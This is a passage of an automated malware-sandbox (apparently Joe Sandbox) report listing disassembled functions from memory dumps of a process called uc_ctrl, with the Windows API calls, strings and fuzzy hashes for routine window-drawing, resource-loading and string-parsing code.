SetRectEmpty.USER32(?), ref: 6CF18D56
GetCapture.USER32 ref: 6CF18D5F
ReleaseCapture.USER32 ref: 6CF18D69
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 6CF18F87
SetCapture.USER32(?), ref: 6CF18FAB

Part of subcall function 6CF68570: SetRectEmpty.USER32(?), ref: 6CF68585

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$CaptureWindow$EmptyVisible$ClientH_prolog3_MessageReleaseScreenSend
String ID:
API String ID: 2255435817-0
Opcode ID: 56f7be321a31a6a8697937997118078080a1eb02bed1ac80a1482ec11b5d5a85
Instruction ID: 030b52732e070ffce9bf498edaad68085bf09f2470a1b41a28320b1da95de789
Opcode Fuzzy Hash: 56f7be321a31a6a8697937997118078080a1eb02bed1ac80a1482ec11b5d5a85
Instruction Fuzzy Hash: BBA15B31909209DFDF06DFA4C984BEDBBB6FF08348F15406AE815ABA51DB30A949CF50

Function 6CF16C30 Relevance: 16.6, APIs: 11, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetCapture.USER32 ref: 6CF16C6A
ReleaseCapture.USER32 ref: 6CF16C74
GetClientRect.USER32(?,?), ref: 6CF16C8D
GetSystemMetrics.USER32(00000015), ref: 6CF16CA9
GetSystemMetrics.USER32(00000015), ref: 6CF16CD0
SendMessageW.USER32(?,0000120C,00000000,00000001), ref: 6CF16D10
SendMessageW.USER32(?,0000120C,00000001,00000001), ref: 6CF16D3F
GetCapture.USER32 ref: 6CF16D68
ReleaseCapture.USER32 ref: 6CF16D72
GetClientRect.USER32(?,?), ref: 6CF16D8B
RedrawWindow.USER32(?,00000000,00000000,00000105), ref: 6CF16DE5

Part of subcall function 6CF18B51: __EH_prolog3_GS.LIBCMT ref: 6CF18B58
Part of subcall function 6CF18B51: IsRectEmpty.USER32(?), ref: 6CF18B73
Part of subcall function 6CF18B51: InvertRect.USER32(?,?), ref: 6CF18B89
Part of subcall function 6CF18B51: SetRectEmpty.USER32(?), ref: 6CF18B96

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$Capture$ClientEmptyMessageMetricsReleaseSendSystem$H_prolog3_InvertRedrawWindow
String ID:
API String ID: 174338775-0
Opcode ID: 0274bc6125731189b0bf2cd24dadf8f66097452c3d3a5568952c62b352a97373
Instruction ID: f4dc8e68f6a1178d27ec714f2fa80a3d7db038cbd9458f2d40343f4a081c48f2
Opcode Fuzzy Hash: 0274bc6125731189b0bf2cd24dadf8f66097452c3d3a5568952c62b352a97373
Instruction Fuzzy Hash: BD514C71A00619AFDF05DFB4C984AAEBBB5FF48314F154269E816A7740DB306E15CF90

Function 6CF04A30 Relevance: 16.6, APIs: 11, Instructions: 140COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6CF04A37
FindResourceW.KERNEL32(?,00000000,00000005), ref: 6CF04A7B
LoadResource.KERNEL32(?,00000000), ref: 6CF04A83

Part of subcall function 6CEF744F: UnhookWindowsHookEx.USER32(?), ref: 6CEF7479

LockResource.KERNEL32(?), ref: 6CF04A93
GetDesktopWindow.USER32 ref: 6CF04ACA
IsWindowEnabled.USER32(00000000), ref: 6CF04AD5
EnableWindow.USER32(00000000,00000000), ref: 6CF04AE1

Part of subcall function 6CEFD728: IsWindowEnabled.USER32(?), ref: 6CEFD733

Part of subcall function 6CEFD500: EnableWindow.USER32(?,00000000), ref: 6CEFD511

EnableWindow.USER32(00000000,00000001), ref: 6CF04BC4
GetActiveWindow.USER32 ref: 6CF04BCE
SetActiveWindow.USER32(00000000,?,?,?,?,?,00000000), ref: 6CF04BDA
FreeResource.KERNEL32(?,?,?,?,?,?,00000000), ref: 6CF04C03

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchHookLoadLockUnhookWindows
String ID:
API String ID: 964565984-0
Opcode ID: ce57168c4991fa7d78a316587da478e2873a7631e1ba1a16746553a589d8d9fc
Instruction ID: dca348595a203e906fb85884d49ea7535521e144c9dafab7bc5c9452298f549b
Opcode Fuzzy Hash: ce57168c4991fa7d78a316587da478e2873a7631e1ba1a16746553a589d8d9fc
Instruction Fuzzy Hash: EA51EDB0B012169BDF119FA1C968BEEBFB5BF18B19F200119E911B7780DB349801DBA1

Function 6D19E7E0 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 201COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6D19E805
tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000010), ref: 6D19E8A6
memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000), ref: 6D19E8B8
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,00000010,?,?,?,00000000), ref: 6D19E90A
memchr.VCRUNTIME140(0123456789abcdefghijklmnopqrstuvwxyz,00000000,?,00000000), ref: 6D19E918
__aulldiv.LIBCMT ref: 6D19E98E
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000010), ref: 6D19E99F

Strings

0123456789abcdefghijklmnopqrstuvwxyz, xrefs: 6D19E8AE, 6D19E8B3, 6D19E912, 6D19E917
+, xrefs: 6D19E81E

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: memchrtolower$__aulldiv_errnoisspace
String ID: +$0123456789abcdefghijklmnopqrstuvwxyz
API String ID: 4155486202-4014772148
Opcode ID: 58a3c0b4177a0f5213fac91a958495d7f705ce5534527354cc9d4d9abfdc759d
Instruction ID: 0eecd3e5f9235d85531c01f2b12286ff654fcce6de082cf2066a0010c6cd65ab
Opcode Fuzzy Hash: 58a3c0b4177a0f5213fac91a958495d7f705ce5534527354cc9d4d9abfdc759d
Instruction Fuzzy Hash: 1261AD7074A3429FDB118E79C49473BBBE5BF9A250F04492EF8E9CA248D3B0C6418B52

Function 6CEF0D03 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 6CEF0D29
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 6CEF0D39
EncodePointer.KERNEL32(00000000), ref: 6CEF0D42
DecodePointer.KERNEL32(00000000), ref: 6CEF0D50
LoadLibraryExW.KERNEL32(?,00000000,00000800), ref: 6CEF0D64
GetSystemDirectoryW.KERNEL32(?,00000105), ref: 6CEF0D79

Strings

kernel32.dll, xrefs: 6CEF0D24
SetDefaultDllDirectories, xrefs: 6CEF0D33
\, xrefs: 6CEF0D87

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Pointer$AddressDecodeDirectoryEncodeHandleLibraryLoadModuleProcSystem
String ID: SetDefaultDllDirectories$\$kernel32.dll
API String ID: 4227638471-3881611067
Opcode ID: 28b7b9d20a68a2626f1e92416988704b78fe409b2eeee7648b886060cdb33b4a
Instruction ID: fe72f4ae1bc6bc95f7b2388b31e5dca928f97902c60379cc46ec6c11bb749213
Opcode Fuzzy Hash: 28b7b9d20a68a2626f1e92416988704b78fe409b2eeee7648b886060cdb33b4a
Instruction Fuzzy Hash: C921C971D42258ABDB10DF658D4CFAB3BBCAF06714F140455FC14E3640EB72E545CAA1

Function 6D1A01BF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6D1A01C6
__current_exception.VCRUNTIME140(00000020,6D1A07FD), ref: 6D1A01D8
__processing_throw.VCRUNTIME140 ref: 6D1A01E6
__current_exception.VCRUNTIME140 ref: 6D1A01F4
__current_exception.VCRUNTIME140 ref: 6D1A0204
new.LIBCMT ref: 6D1A0216

Part of subcall function 6D1CA364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6D1A021B,00000054), ref: 6D1CA38B

__current_exception.VCRUNTIME140 ref: 6D1A0225

Part of subcall function 6D1A03F1: EncodePointer.KERNEL32(00000000,00000000,?,00000000), ref: 6D1A04A1
Part of subcall function 6D1A03F1: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000), ref: 6D1A04BC

Part of subcall function 6D1A08DB: __EH_prolog3_catch.LIBCMT ref: 6D1A08E2
Part of subcall function 6D1A08DB: new.LIBCMT ref: 6D1A08EF

Strings

MOC, xrefs: 6D1A01FC
RCC, xrefs: 6D1A020C

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: __current_exception$H_prolog3_catchmalloc$EncodePointer__processing_throw
String ID: MOC$RCC
API String ID: 467354547-2084237596
Opcode ID: a08e92d65bfc483f1d0298c925da71067d4261aa0842cae4209735a7648e9c07
Instruction ID: cda8a7aca3ff4d6107da2118ca331c337c78e0c98c1c3f4854f33e7bd51673dd
Opcode Fuzzy Hash: a08e92d65bfc483f1d0298c925da71067d4261aa0842cae4209735a7648e9c07
Instruction Fuzzy Hash: 351148B8A08305DFDB019FA9D5846ADBBF0FF1A301F45806DE145AB258CBB85A44CF61

Function 6CF12471 Relevance: 15.4, APIs: 10, Instructions: 359windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF12478

Part of subcall function 6CEFD632: GetWindowLongW.USER32(?,000000F0), ref: 6CEFD63F

SendMessageW.USER32(?,000000B0,?,?), ref: 6CF124BD
MessageBeep.USER32(000000FF), ref: 6CF12544
SendMessageW.USER32(?,000000C2,00000001,00000000), ref: 6CF125BB
SendMessageW.USER32(?,000000B0,?,?), ref: 6CF125FB
SendMessageW.USER32(?,000000B0,?,?), ref: 6CF12671
MessageBeep.USER32(000000FF), ref: 6CF12728
SendMessageW.USER32(?,000000C2,00000001,?), ref: 6CF127EC

Part of subcall function 6CF11438: __EH_prolog3_GS.LIBCMT ref: 6CF1143F
Part of subcall function 6CF11438: _wcslen.LIBCMT ref: 6CF11485

SendMessageW.USER32(?,000000B0,?,?), ref: 6CF12856

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Message$Send$Beep$H_prolog3H_prolog3_LongWindow_wcslen
String ID:
API String ID: 108462914-0
Opcode ID: 318abe7220489979a346e4397a43533939e276674b722d6da262859f73e30ef8
Instruction ID: 7625367f7c72577c67d6d0bddd183c5736c008fd1a239ee190a256488946c117
Opcode Fuzzy Hash: 318abe7220489979a346e4397a43533939e276674b722d6da262859f73e30ef8
Instruction Fuzzy Hash: F5D16971E0411AAFCF05DFE5C894EEEB7BABF49314F144119E811B3A90DB35A909CB60

Function 6CF2A993 Relevance: 15.2, APIs: 10, Instructions: 202COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF2A99D
GetObjectW.GDI32(?,00000018,?), ref: 6CF2A9C6

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Object
String ID:
API String ID: 2214263146-0
Opcode ID: 964668bee8bb18297306b9fa00827e3ffbde8623f11751d8afa1b0d4032eb48a
Instruction ID: 9e2a698fbead95a8160d284163f9997777d4690ec82fb31e7054575e3d65b028
Opcode Fuzzy Hash: 964668bee8bb18297306b9fa00827e3ffbde8623f11751d8afa1b0d4032eb48a
Instruction Fuzzy Hash: 38814971E00229CBDF24CFA9C984A9DBBB6FF49304F2481A9E959A7701DB309D85DF50

Function 6CF1067E Relevance: 15.2, APIs: 10, Instructions: 195stringwindowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF10688
CopyRect.USER32(?,?), ref: 6CF106C9
DrawFocusRect.USER32(?,?), ref: 6CF106DC
CreateSolidBrush.GDI32(?), ref: 6CF1071C
GetBkColor.GDI32(?), ref: 6CF1074A
CreateSolidBrush.GDI32(00000000), ref: 6CF10751
FillRect.USER32(?,?,00000000), ref: 6CF10779
GetObjectW.GDI32(?,0000005C,?), ref: 6CF10811
lstrcpyW.KERNEL32(?,00000001), ref: 6CF1081E
CreateFontIndirectW.GDI32(?), ref: 6CF10844

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CreateRect$BrushSolid$ColorCopyDrawFillFocusFontH_prolog3_IndirectObjectlstrcpy
String ID:
API String ID: 3396929888-0
Opcode ID: 4c7332e0f575e59adc4ff34f77d4ebd4118be825f7bb69be46ba77f5d79ba4db
Instruction ID: f0ed4a8bf85b059d8efc00f8792d2c709b80e03b28448f8b5099c1d8a5857d2c
Opcode Fuzzy Hash: 4c7332e0f575e59adc4ff34f77d4ebd4118be825f7bb69be46ba77f5d79ba4db
Instruction Fuzzy Hash: A281BA71A042189FEF15DFA4CC99BADBBB5BF08308F04808CE91AA7691DF74A955CF50

Function 6CF18B51 Relevance: 15.1, APIs: 10, Instructions: 109windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6CF18B58

Part of subcall function 6CEF5025: __EH_prolog3.LIBCMT ref: 6CEF502C
Part of subcall function 6CEF5025: GetDC.USER32(00000000), ref: 6CEF5058

IsRectEmpty.USER32(?), ref: 6CF18B73
InvertRect.USER32(?,?), ref: 6CF18B89
SetRectEmpty.USER32(?), ref: 6CF18B96
GetClientRect.USER32(00000000,00000000), ref: 6CF18BE3
GetSystemMetrics.USER32(00000015), ref: 6CF18C01
GetSystemMetrics.USER32(00000015), ref: 6CF18C27
SendMessageW.USER32(?,0000120C,00000000,00000001), ref: 6CF18C67
SendMessageW.USER32(?,0000120C,00000001,00000001), ref: 6CF18C96
InvertRect.USER32(?,?), ref: 6CF18CA2

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: Rect$EmptyInvertMessageMetricsSendSystem$ClientH_prolog3H_prolog3_
String ID:
API String ID: 3401445556-0
Opcode ID: f3d87b6e8f3888f2ade5a49e583656d3ccbf5164dcf0994efc5c5b49ad352ed2
Instruction ID: 34497d7dc28da7ffeab93c118aaf502e29047af69b003aad511a19bc5afb615d
Opcode Fuzzy Hash: f3d87b6e8f3888f2ade5a49e583656d3ccbf5164dcf0994efc5c5b49ad352ed2
Instruction Fuzzy Hash: 35417772901218DFDF01CFA4CA88BEE7BB5FF49306F160169E905BB650DB716A45CBA0

Function 6D19E400 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19E424
_Stoullx.MSVCP140(?,?,?,?), ref: 6D19E448
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D19E4A5

Strings

-, xrefs: 6D19E47B
+, xrefs: 6D19E436
-, xrefs: 6D19E431
-, xrefs: 6D19E4BE
+, xrefs: 6D19E467

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Stoullx_errnoisspace
String ID: +$+$-$-$-
API String ID: 244305864-1488319878
Opcode ID: ff23f18c62914930c85b6f84e1afd4cd104cb9f1cf1cbb7c1a323a6241c44c0e
Instruction ID: e44571ec173e42a4c62e63a04826ecd82f8f7647bd56ac99006e7e1e7bedbd72
Opcode Fuzzy Hash: ff23f18c62914930c85b6f84e1afd4cd104cb9f1cf1cbb7c1a323a6241c44c0e
Instruction Fuzzy Hash: 9E2106317570168BEB218E28C8043AA7BAAFB65770F694215F864CF2DAD7F4DA008791

Function 6CEFAE21 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 76libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,?,?,?,?,?,?,?,00000000,?,6CEF94A4,00000000,00000000), ref: 6CEFAEC2
__Init_thread_footer.LIBCMT ref: 6CEFAECE

Part of subcall function 6CEEFBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6CEEFBB9

GetProcAddress.KERNEL32(RegisterTouchWindow), ref: 6CEFAF02
GetProcAddress.KERNEL32(UnregisterTouchWindow), ref: 6CEFAF18
__Init_thread_footer.LIBCMT ref: 6CEFAF24

Strings

RegisterTouchWindow, xrefs: 6CEFAEF7
UnregisterTouchWindow, xrefs: 6CEFAF08
user32.dll, xrefs: 6CEFAEBD

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: AddressInit_thread_footerProc$Exception@8HandleModuleThrow
String ID: RegisterTouchWindow$UnregisterTouchWindow$user32.dll
API String ID: 3795892493-2470269259
Opcode ID: 5784625728b588726758e8785eec98a78caaec139d6444e335e6c4649f9c4fd2
Instruction ID: ebf2cbdc2701cf75550eccf34cef11807f73a5cbda46755960624992c692dc0b
Opcode Fuzzy Hash: 5784625728b588726758e8785eec98a78caaec139d6444e335e6c4649f9c4fd2
Instruction Fuzzy Hash: 73210572184200AFDF019F5EE8987093775FB4F339B20015AE9205B390DBB254C2CB52

Function 6D19E0F0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 70COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6D19E110
_Stoulx.MSVCP140(?,?,?,?), ref: 6D19E134
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6D19E167

Strings

-, xrefs: 6D19E182
-, xrefs: 6D19E15B
+, xrefs: 6D19E152
-, xrefs: 6D19E11D
+, xrefs: 6D19E122

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Stoulx_errnoisspace
